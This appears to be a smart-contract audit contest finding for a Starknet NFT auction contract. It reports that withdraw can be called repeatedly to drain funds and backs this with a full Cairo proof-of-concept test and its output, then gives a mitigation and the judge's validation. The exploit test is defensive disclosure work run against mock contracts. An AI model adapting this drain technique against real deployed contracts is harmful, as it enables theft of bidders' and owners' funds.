Starknet Auction

First Flight #26
Beginner FriendlyNFT
100 EXP
View results
Submission Details
Severity: high
Valid

A malicious Bidder can call withdraw multiple times and steal funds

Description
Any bidder can call withdraw multiple times when the auction has finished. This allows a malicious user to steal funds from the protocol including from other bidders that did not win and the owner who is auctioning the NFT. This means:

  • The winner can claim their winning bid back plus any multiple of that bid that is in the balance of the contract.

  • Any bidder can repeatedly withdraw their most recent bid amount until the balance in the contract is less than or equal to their most recent bid amount.

NOTE: In addition to being able to be called repeatedly, the withdraw function is vulnerable to reentrancy attacks, although that is not demonstrated in this submission.

Impact
The majority of the funds collected in the auction can be stolen from the NFT owner and from other auction bidders.

Proof of Concept
snforge test test_withdraw_bids --features enable_for_tests

use snforge_std::{ declare, ContractClassTrait, DeclareResultTrait };
use snforge_std::{ start_cheat_caller_address_global, stop_cheat_caller_address_global, start_cheat_block_timestamp, stop_cheat_block_timestamp };
use core::traits::TryInto;
use core::serde::Serde;
use starknet::ContractAddress;
use openzeppelin::token::erc721::interface::{IERC721Dispatcher, IERC721DispatcherTrait};
use starknet_auction::starknet_auction::IStarknetAuctionDispatcher;
use starknet_auction::starknet_auction::IStarknetAuctionDispatcherTrait;
use starknet_auction::mock_erc20_token::IMockERC20TokenDispatcher;
use starknet_auction::mock_erc20_token::IMockERC20TokenDispatcherTrait;
use starknet::{ get_contract_address, get_block_timestamp};
fn deploy_auction_contract() -> (IStarknetAuctionDispatcher, ContractAddress, ContractAddress, ContractAddress) {
// Declare Starknet Auction contract.
let contract = declare("StarknetAuction").unwrap().contract_class();
// Define arguments.
let mut calldata = ArrayTrait::new();
// Declare and deploy the NFT token contract.
let erc721_contract = declare("MockERC721Token").unwrap().contract_class();
let mut erc721_args = ArrayTrait::new();
let recipient = get_contract_address();
(recipient, ).serialize(ref erc721_args);
let (erc721_contract_address, _) = erc721_contract.deploy(@erc721_args).unwrap();
// Declare and deploy the ERC20 token contract.
let erc20_contract = declare("MockERC20Token").unwrap().contract_class();
let mut erc20_args = ArrayTrait::new();
let (erc20_contract_address, _) = erc20_contract.deploy(@erc20_args).unwrap();
let nft_id = 1;
(erc20_contract_address, erc721_contract_address, nft_id, ).serialize(ref calldata);
// Deploy the Auction contract.
let (contract_address, _) = contract.deploy(@calldata).unwrap();
// Create a Dispatcher object that will allow interacting with the deployed Auction contract.
let dispatcher = IStarknetAuctionDispatcher { contract_address: contract_address };
// Create a Dispatcher object that will allow interacting with the deployed NFT contract.
let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };
erc721_dispatcher.approve(contract_address, 1);
(dispatcher, contract_address, erc20_contract_address, erc721_contract_address)
}
#[test]
//#[should_panic(expected: 'ERC20: insufficient allowance')]
fn test_withdraw_bids() {
let (auction_dispatcher, auction_contract, erc20_contract_address, erc721_contract_address) = deploy_auction_contract();
//The owner calls the start function and the auction begins.
auction_dispatcher.start(86400, 10);
let erc20_dispatcher = IMockERC20TokenDispatcher { contract_address: erc20_contract_address };
let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };
// Define the first bidder address
let first_bidder_address: ContractAddress = 123.try_into().unwrap();
// Define the second bidder address
let second_bidder_address: ContractAddress = 111.try_into().unwrap();
let mut erc20_balance_bidder:u256 = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("First bidder initial balance: {erc20_balance_bidder}");
let mut erc20_balance_2bidder:u256 = erc20_dispatcher.token_balance_of(second_bidder_address);
println!("2nd bidder initial balance: {erc20_balance_2bidder}");
// FIRST BID
// as the first bidder - get some tokens and approve the contract to xfer
start_cheat_caller_address_global(first_bidder_address);
erc20_dispatcher.mint(first_bidder_address, 11);
erc20_dispatcher.token_approve(auction_contract, 11);
println!("First bidder minted and approved 11 tokens for their first bid");
//The first bidder calls the bid function with amount of 11.
auction_dispatcher.bid(11);
stop_cheat_caller_address_global();
// SECOND BID
// as the second bidder approve the auction contract to transferFrom their address
start_cheat_caller_address_global(second_bidder_address);
erc20_dispatcher.mint(second_bidder_address, 15);
erc20_dispatcher.token_approve(auction_contract, 15);
println!("Second bidder minted and approved 15 tokens for their first bid");
//The second bidder calls the bid function with amount of 15.
auction_dispatcher.bid(15);
stop_cheat_caller_address_global();
println!("Time passes and the auction finishes.");
// TIME PASSES
// the blockchain timestamp moves forward
let time = get_block_timestamp();
start_cheat_block_timestamp(auction_contract, time + 86401);
// PREP FOR REFUNDS and for WINNER
// as the contract approve the bidder amount to be refunded from the token contract to the bidder
// as the contract approve the nft for the winner
start_cheat_caller_address_global(auction_contract);
erc20_dispatcher.token_approve(first_bidder_address, 11); // failed bid amound
//Approve NFT xfer For WINNER
erc721_dispatcher.approve(second_bidder_address, 1);
stop_cheat_caller_address_global();
// END AUCTION
// end the auction and transfer the NFT to the winner.
auction_dispatcher.end();
//Check the balance of the auction contract.
let mut balance_auction_contract:u64 = erc20_dispatcher.token_balance_of(auction_contract).try_into().unwrap();
println!("Balance of auction contract after it's ended: {balance_auction_contract}");
// Check the balance of the first bidder before withdraw attempt,
// they didn't win so the should get their bid back according to the documentation.
erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("Before withdraw First bidder balance: {erc20_balance_bidder}");
start_cheat_caller_address_global(first_bidder_address);
// The first bidder calls the withdraw function and should get their total bids amount back.
auction_dispatcher.withdraw();
stop_cheat_caller_address_global();
// Check the balance of the first bidder after withdraw attempt,
// they didn't win so the should get their bid back according to the documentation.
erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("After withdraw First bidder balance: {erc20_balance_bidder}");
// assert( erc20_balance_bidder == 0, 'Expected erc20_balance_bidder == 0' );
// assert( balance_auction_contract == 26, 'Expected balance_auction_contract == 26' );
//ATTEMPT TO DRAIN
start_cheat_caller_address_global(auction_contract);
//start_cheat_caller_address_global(first_bidder_address);
erc20_dispatcher.token_approve(first_bidder_address, 11); // failed bid amound
stop_cheat_caller_address_global();
start_cheat_caller_address_global(first_bidder_address);
// The first bidder calls the withdra function and should get their total bids amount back.
auction_dispatcher.withdraw();
stop_cheat_caller_address_global();
erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("After drain withdraw First bidder balance: {erc20_balance_bidder}");
//Check the balance of the auction contract.
balance_auction_contract = erc20_dispatcher.token_balance_of(auction_contract).try_into().unwrap();
println!("Balance of auction contract now: {balance_auction_contract}");
assert(erc20_balance_bidder > 11, 'Failed to drain');
stop_cheat_block_timestamp(auction_contract);
}

Output

As you can see in the output below, the first bidder only bid once, with the amount of 11 tokens. However they have made two calls to the withdraw function and stolen 11 tokens, giving them a total of 22 tokens. This leaves the NFT owner unable to widthdraw any funds as the protocol will attempt to transfer 15 tokens to them when they call withdraw; which will fail with an insufficient funds error.

Running 1 test(s) from tests/
First bidder initial balance: 0
2nd bidder initial balance: 0
First bidder minted and approved 11 tokens for their first bid
Second bidder minted and approved 15 tokens for their first bid
Time passes and the auction finishes.
Balance of auction contract after it's ended: 26
Before withdraw First bidder balance: 0
After withdraw First bidder balance: 11
After drain withdraw First bidder balance: 22
Balance of auction contract now: 4
[PASS] starknet_auction_integrationtest::test_bid_refund::test_withdraw_bids (gas: ~2343)
Running 0 test(s) from src/
Tests: 1 passed, 0 failed, 0 skipped, 0 ignored, 1 filtered out

Recommended mitigation

  • Improve internal accounting of bids by each user such that a user may only call withdraw once and claim their total bids amount in one call.

References
N/A

Tools Used

  • Manual Review

Updates

Lead Judging Commences

bube Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `withdraw` function

The `withdraw` function doesn't reset the `bid_values` to 0 after the withdraw. That means the bidder can call multiple time the `withdraw` function and receive the whole balance of the protocol.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.